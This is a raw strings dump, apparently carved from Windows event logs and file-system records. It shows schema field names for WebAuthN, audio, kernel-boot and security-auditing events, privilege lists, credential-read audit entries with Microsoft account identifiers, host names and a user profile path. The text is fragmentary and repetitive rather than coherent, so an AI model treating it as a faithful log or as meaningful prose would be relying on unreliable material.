{A043F0E4-1157-11F1-B1FF-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe a043f0e4-1157-11f1-b1ff-000c291b6c9b Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational EventData 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Data Command TransactionId Flags TimeoutMilliseconds TicketLength Ticket RequestLength Request command Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Command TransactionId ResponseLength Response command 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational value Error HResult Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational value Error HResult Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational command Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational command Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational Microsoft-Windows-WebAuthN Microsoft-Windows-WebAuthN/Operational treamPosition Data Name AvailableFrames pCAudioRenderPinStandardStreaming DevicePosition StreamPosition AvailableFrames EventData Data Name APOCLSID Data Name AudioSignalProcessingMode Data Name InitializeForDiscoveryOnly APOCLSID AudioSignalProcessingMode InitializeForDiscoveryOnly EventData Data Name object pointer object pointer EventData Data Name object pointer Data Name object pointer EventData Data Name object pointer object pointer EventData Data Name object object EventData Data Name object Data Name NewState object NewState EventData Data Name flow Data Name role Data Name TargetProcessId flow role TargetProcessId EventData Data Name object Data Name flow Data Name role object flow role EventData Data Name DeviceName Data Name DeviceId Data Name flow Data Name NewState DeviceName DeviceId flow NewState EventData Data Name DeviceId Data Name object DeviceId object EventData Data Name object Data Name ioControlCode object ioControlCode EventData Data Name object Data Name hResult object hResult EventData Data Name CrossProcessInstance Data Name ReadIndex Data Name WriteIndexIndex Data Name FramesInPacket Data Name CrossProcessInstance ReadIndex WriteIndexIndex FramesInPacket EventData Data Name PumpInstance Data Name TaskGroup Data Name Data Name success PumpInstance TaskGroup success EventData Data Name PumpInstance Data Name TaskGroup Data Name SoftDeadlineHns Data Name HardDeadlineHns Data Name success PumpInstance TaskGroup SoftDeadlineHns HardDeadlineHns success EventData Data Name PumpInstance Data Name Duration PumpInstance Duration EventData Data Name PumpInstance PumpInstance EventData Data Name PumpInstance Data Name CurrentPadding Data Name DurationToProcess PumpInstance CurrentPadding DurationToProcess EventData Data Name PumpInstance Data Name WorkDuration Data Name MaxWorkDuration PumpInstance WorkDuration MaxWorkDuration EventData Data Name PumpInstance Data Name uEventMask PumpInstance uEventMask EventData Data Name PumpInstance Data Name WakeCategory Data Name WakeValue PumpInstance WakeCategory WakeValue EventData Data Name PumpInstance Data Name Phase PumpInstance Phase EventData Data Name PumpInstance PumpInstance EventData Data Name Endpoint Id Endpoint Id EventData Data Name Endpoint Id Data Name Endpoint Id EventData Data Name Endpoint Id Data Name category Data Name Data Name MatchFormat Data Name ConnectorType Endpoint Id category MatchFormat ConnectorType EventData Data Name Endpoint Id Data Name ConnectorType Endpoint Id ConnectorType EventData Data Name PumpInstance Data Name SampleIndex Data Name OrigProcessingStart Data Name NewProcessingStart Data Name StartCorrection Data Name TimeDelta Data Name SampleDelta Data Name DevicePeriod Data Name ActualDevicePeriod Data Name WindowWidth_ms PumpInstance SampleIndex OrigProcessingStart NewProcessingStart StartCorrection TimeDelta SampleDelta DevicePeriod ActualDevicePeriod WindowWidth_ms EventData Data Name objInstance Data Name ucType objInstance ucType EventData Data Name objInstance Data Name ucType Data Name WritePosition Data Name PlayPosition Data Name StreamPosition Data Name GlitchFrameCount objInstance ucType WritePosition PlayPosition StreamPosition GlitchFrameCount EventData Data Name objInstance Data Name SampleTime Data Name u64ByteCount objInstance SampleTime u64ByteCount EventData Data Name objInstance Data Name APO_CLSID objInstance APO_CLSID EventData Data Name objInstance Data Name APO_CLSID objInstance APO_CLSID EventData Data Name objInstance Data Name ucType Data Name ProcessDuration Data Name ProcessTime objInstance ucType ProcessDuration ProcessTime EventData Data Name objInstance Data Name ucType Data Name ProcessTime objInstance ucType ProcessTime EventData Data Name objInstance Data Name ucType Data Name WritePosition Data Name PlayPosition Data Name StreamPosition Data Name LoopPosition objInstance ucType WritePosition PlayPosition StreamPosition LoopPosition EventData Data Name objInstance objInstance EventData Data Name objInstance Data Name ucType Data Name Data1 Data Name Data2 Data Name Data3 objInstance ucType Data1 Data2 Data3 EventData Data Name objInstance Data Name ucType Data Name Index Data Name OutStandingCount Data Name FrameExtent objInstance ucType Index OutStandingCount FrameExtent EventData Data Name objInstance Data Name ucType Data Name PinHandle Data Name FormatTag Data Name SampleRate Data Name BitsPerSample Data Name Channels Data Name Period Data Name Latency Data Name BufferSize objInstance ucType PinHandle FormatTag SampleRate BitsPerSample Channels Period Latency BufferSize EventData Data Name objInstance Data Name ucType Data Name InterpolatedPlayPosition Data Name InterpolatedWritePosition Data Name RealPlayPosition Data Name RealWritePosition Data Name SampleRate Data Name FilteredError objInstance ucType InterpolatedPlayPosition InterpolatedWritePosition RealPlayPosition RealWritePosition SampleRate FilteredError EventData Data Name objInstance Data Name ucType Data Name Flag Data Name Padding Data Name QPCPos Data Name DevPos Data Name StrmPos objInstance ucType Flag Padding QPCPos DevPos StrmPos EventData Data Name objInstance Data Name ucType Data Name Custom1 Data Name Custom2 objInstance ucType Custom1 Custom2 EventData Data Name objInstance Data Name ucType Data Name u64Param1 Data Name u64Param2 Data Name u64Param3 Data Name u64Param4 Data Name f64Param1 Data Name f64Param2 Data Name f64Param3 Data Name f64Param4 objInstance ucType u64Param1 u64Param2 u64Param3 u64Param4 f64Param1 f64Param2 f64Param3 f64Param4 EventData Data Name objInstance Data Name ucType Data Name hHeap Data Name ulInitial Data Name ulMin Data Name ulMax Data Name ulAllocCount Data Name ulExtendCount Data Name ulTotalAlloc objInstance ucType hHeap ulInitial ulMin ulMax ulAllocCount ulExtendCount ulTotalAlloc EventData Data Name objInstance Data Name ucType Data Name u64Param1 Data Name u64Param2 Data Name u64Param3 Data Name u64Param4 objInstance ucType u64Param1 u64Param2 u64Param3 u64Param4 EventData Data Name objInstance Data Name ucType Data Name u64Param1 Data Name u64Param2 Data Name u64Param3 Data Name u64Param4 objInstance ucType u64Param1 u64Param2 u64Param3 u64Param4 EventData Data Name objInstance Data Name AEPositionFlag Data Name EndpointFlags Data Name PaddingFrames Data Name Data Name DevicePosition Data Name StreamPosition objInstance AEPositionFlag EndpointFlags PaddingFrames DevicePosition StreamPosition EventData Data Name objInstance Data Name FrameCount Data Name ApoBufferFlags Data Name objInstance FrameCount ApoBufferFlags EventData Data Name objInstance Data Name ClientProcessId Data Name EventHandle objInstance ClientProcessId EventHandle EventData Data Name objInstance Data Name DurationToProcess objInstance DurationToProcess EventData Data Name TaskGroupID Data Name threadID TaskGroupID threadID EventData Data Name objInstance Data Name RTMode Data Name ProAudio Data Name PumpQueueID Data Name PumpTaskID Data Name APOQueueID Data Name APOTaskID objInstance RTMode ProAudio PumpQueueID PumpTaskID APOQueueID APOTaskID EventData Data Name objInstance Data Name RTMode Data Name APOQueueID Data Name APOTaskID objInstance RTMode APOQueueID APOTaskID EventData Data Name objInstance Data Name QueueID Data Name TaskID objInstance QueueID TaskID EventData Data Name SessionId Data Name ConsoleLocked Data Name ChangeInLockStatus SessionId ConsoleLocked ChangeInLockStatus EventData Data Name SessionId SessionId EventData Data Name SessionId Data Name SessionDisplayOn Data Name ChangeInSessionDisplayStatus SessionId SessionDisplayOn ChangeInSessionDisplayStatus EventData Data Name AudioStandbyPolicy AudioStandbyPolicy Microsoft-Windows-Audio win:Info win:Start win:Stop op_EVT_GLITCH_CM_RENDER op_EVT_GLITCH_CM_CAPTURE op_EVT_GLITCH_APO_FORMAT_CONVERT op_EVT_GLITCH_CP_CLIENT_INPUT_NO_MESSAGES op_EVT_GLITCH_CP_CLIENT_INPUT_SIZE_MISMATCH op_EVT_GLITCH_CP_CLIENT_OUTPUT_SERVER_OVERREAD op_EVT_GLITCH_CP_CLIENT_OUTPUT_READ_POINTER_OVERWRITE op_EVT_GLITCH_CP_SERVER_INPUT_STARVATION op_EVT_GLITCH_CP_SERVER_OUTPUT_QUEUE_FULL_PACKET_DROP op_EVT_GLITCH_CP_SERVER_OUTPUT_READ_POINTER_OVERWRITE op_EVT_GLITCH_KSENDPOINT_IOMGR_NO_OUTSTANDING_PACKETS op_EVT_GLITCH_KSENDPOINT_IOMGR_MAX_IOCTL_TIME op_EVT_GLITCH_KSENDPOINT_BASE_OUTPUT_UNEXPECTED_BUFFER_COMPLETED op_EVT_GLITCH_KSENDPOINT_BASE_INPUT_LAST_BUFFER_NULL_BAD_LOCKED_DATA op_EVT_GLITCH_KSENDPOINT_BASE_INPUT_BUFFER_INDEX op_EVT_GLITCH_KSENDPOINT_BASE_END_GLITCH op_EVT_GLITCH_KSENDPOINT_RTCAP_STREAM_POS_AHEAD_OF_HW_POS op_EVT_GLITCH_KSENDPOINT_RTCAP_STREAM_POS_TOO_FAR_BEHIND op_EVT_GLITCH_KSENDPOINT_RTREN_WRITE_POS_EXCEEDS_TOTAL_POS op_EVT_GLITCH_KSENDPOINT_STCAP_CAPTURE_AHEAD op_EVT_GLITCH_KSENDPOINT_STCAP_CAPTURE_BEHIND op_EVT_GLITCH_KSENDPOINT_STCAP_DEVICE_STARVED op_EVT_GLITCH_KSENDPOINT_STREN_DEVICE_STARVED op_EVT_GLITCH_KSENDPOINT_STREN_EXCL_PULL_INVALID_BUFFER_COUNT op_EVT_MMDEVAPI_TRIGGER_DEFAULT_DEVICE_CHANGED op_EVT_MMDEVAPI_ON_MEDIA_NOTIFICATION_DeviceStateChanged op_EVT_MMDEVAPI_ON_MEDIA_NOTIFICATION_DeviceAdded op_EVT_MMDEVAPI_ON_MEDIA_NOTIFICATION_DeviceRemoved op_EVT_MMDEVAPI_ON_MEDIA_NOTIFICATION_DefaultDeviceChanged op_EVT_MIDIRT_ON_SUSPEND op_EVT_MIDIRT_ON_RESUME op_EVT_MIDIRT_ON_ENTER_CS op_EVT_MIDIRT_ON_EXIT_CS op_EVT_MIDIRT_ON_DEVICE_REMOVE op_EVT_MIDIRT_DEL_MidiDeviceIoControl op_EVT_MIDIRT_DeviceHandleClosed op_EVT_MIDIRT_CreateMidiPortDeviceAccessInstance op_AudioResourceManager_StreamSettings_Derived op_AudioResourceManager_Stream_Created op_AudioResourceManager_SaDevice_Created op_AudioResourceManager_SaDevice_Connected op_EVT_MMDEVAPI_DEVICE_STATE_CHANGED win:Error win:Warning win:Informational win:Verbose AudioPerf_Task_LaunchAudioDG AudioPerf_Task_EndpointVolume AudioPerf_Task_SessionAPI AudioPerf_Task_GlitchCounter AudioServer_Fail_Service_Device AudioServer_Fail_Device_Event_Worker AudioServer_Fail_Set_Service_Status AudioServer_Fail_Subsystem_Startup AudioServer_Fail_AudioDG_Crashed AudioServer_Fail_AudioDG_Failed_Startup CaptureMonitor_Monitor_Restart_Limit_Hit AudioServer_Stream_Flags AudioSession_Stream_Resource_Type AudioServer_Sound_Level_Changed AudioSession_Client_Suspended AudioSession_Release_Client_Resource PBM_StreamStarted AudioDG_Glitch_Threshold_Exceeded PBM_StreamStopped Audio_Glitch_Detection System_Effect_APO_Initialized AudioSrv_EVT_VOLUME_LIMIT_CHANGED_ENTER AudioSrv_EVT_VOLUME_LIMIT_CHANGED_EXIT AudioSrv_EVT_VOLUME_LIMIT_PUBLISH_WNF_AVLC_STATE AudioCore_EVT_MMDevAPI AudioCore_EVT_MidiRT AudioCore_EVT_MIDIRT_BindToDeviceInterfacePath_Task AudioCore_EVT_MIDIRT_DeviceIoControlSync_Task AudioCore_EVT_MIDIRT_DeviceIoControlAsync_Task AudioCore_CPCapture_Add_Packet_Task AudioCore_Pump_SetDeadline_Task AudioCore_Pump_CancelDeadline_Task AudioCore_Pump_MissedDeadline_Task AudioCore_Pump_MMBuffering_Task EndpointCharacteristics_CreateInstance_Task AudioSrv_GetMixFormat_Task AudioSrv_IsFormatSupported_Task VadServer_CreateStream_Task CreateDeviceEndpointInstance_Task AudioCore_Pump_CorrectPosition_Task AudioCore_Pump_Yield_Task AudioCore_Pump_Process_Task AudioCore_Pump_ProcPassDuration_Task AudioCore_AEObject_Task AudioCore_AEGlitch_Task AudioCore_AEDrop_Task AudioCore_Pump_MMBufferingSkipped_Task AudioCore_AEControl_Task AudioCore_AEPosition_Task AudioCore_AESecurity_Task AudioCore_AEData_Task AudioCore_AEIRP_Task AudioCore_AEEndpoint_Task AudioCore_AEInterpolator_Task AudioCore_AETimestamp_Task AudioCore_AEPerformance_Task AudioCore_AEGeneric_Task AudioCore_AEMemory_Task AudioCore_AEWaveRT_Task AudioCore_AESyncIO_Task AudioCore_CrossProcess_SetCurrentTimeStamp_Task AudioCore_CrossProcessHistoryBuffer_WriteHistoryPacket_Task AudioCore_CrossProcess_SignalPumpPassCompletion_Task AudioCore_Pump_ProcPassSkip_Task AudioCore_Pump_GetCurrentPadding_Task AudioCore_APO_Process_Task AudioCore_APO_CalcInputFrames_Task AudioCore_Pump_TimedSpin_Task AudioCore_Pump Microsoft Connected Devices Platform device certificate %%2500 C:\Users\job\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_2675093e-d43e-4af4-9275-84e1091fbf56 %%2458 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId ProviderName AlgorithmName KeyName KeyType Operation ReturnCode Windows11 Microsoft Software Key Storage Provider ECDSA_P256 Microsoft Connected Devices Platform device certificate %%2500 %%2480 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId ClientProcessId ClientCreationTime ProviderName AlgorithmName KeyName KeyType Operation ReturnCode Windows11 Microsoft Software Key Storage Provider ECDSA_P256 Microsoft Connected Devices Platform device certificate %%2500 %%2464 Microsoft-Windows-Security-Auditing Security LOCAL SERVICE NT AUTHORITY Microsoft Software Key Storage Provider UNKNOWN Microsoft Connected Devices Platform device certificate %%2500 C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_2675093e-d43e-4af4-9275-84e1091fbf56 %%2458 Security Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Security-Auditing Security EventData Data SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId ProviderName AlgorithmName KeyName KeyType Operation ReturnCode LOCAL SERVICE NT AUTHORITY Microsoft Software Key Storage Provider ECDSA_P256 Microsoft Connected Devices Platform device certificate %%2500 %%2480 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId ClientProcessId ClientCreationTime ProviderName AlgorithmName KeyName KeyType Operation ReturnCode LOCAL SERVICE NT AUTHORITY Microsoft Software Key Storage Provider ECDSA_P256 Microsoft Connected Devices Platform device certificate %%2500 %%2464 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId TargetUserSid TargetUserName TargetDomainName TargetLogonId LogonType LogonProcessName AuthenticationPackageName WorkstationName LogonGuid TransmittedServices LmPackageName KeyLength ProcessId ProcessName IpAddress IpPort ImpersonationLevel RestrictedAdminMode RemoteCredentialGuard TargetOutboundUserName TargetOutboundDomainName VirtualAccount TargetLinkedLogonId ElevatedToken WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId PrivilegeList SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security TargetUserName TargetDomainName TargetSid SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId CallerProcessId CallerProcessName Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\VSSVC.exe Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\SearchIndexer.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\SearchIndexer.exe Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId TargetName Type CountOfCredentialsReturned ReadOperation ReturnCode ProcessCreationTime ClientProcessId WINDOWS11$ WORKGROUP WindowsLive:(token):name=02tponlkofaykbpk;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP WindowsLive:(cert):name=02tponlkofaykbpk;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP WindowsLive:target=virtualapp/didlogical %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(token):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(cert):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:target=virtualapp/didlogical %%8100 Microsoft-Windows-Security-Auditing Security Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(token):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(cert):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Microsoft-Windows-Security-Auditing Security Administrators Builtin Windows11 C:\Windows\explorer.exe Microsoft-Windows-Security-Auditing Security Administrators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\svchost.exe Microsoft-Windows-Security-Auditing Security Backup Operators Builtin WINDOWS11$ WORKGROUP C:\Windows\System32\svchost.exe Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Microsoft-Windows-Security-Auditing Security Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(token):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 WindowsLive:(cert):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Microsoft-Windows-Security-Auditing Security Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Microsoft-Windows-Security-Auditing Security WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 Microsoft-Windows-Security-Auditing Security SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational EventData Data StatusCode Position Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational InitState StatusCode FailureAddress ReferenceAddress ReasonCode Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Status FailurePoint UpdateStatusEnum FwLevel Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational Microsoft-Windows-Kernel-Boot Microsoft-Windows-Kernel-Boot/Operational azroles.dll.mui0 AZROLE~1.MUI azroles.dll.mui $DSC WofCompressedData $DSC azroleui.dll.mui azroleui.dll.mui WofCompressedData $DSC azsqlext.dll.mui AZSQLE~1.MUI azsqlext.dll.mui WofCompressedData $DSC BARCOD~1.MUI BarcodeScannerProtocolProvider.dll.mui &BarcodeScannerProtocolProvider.dll.mui $DSC 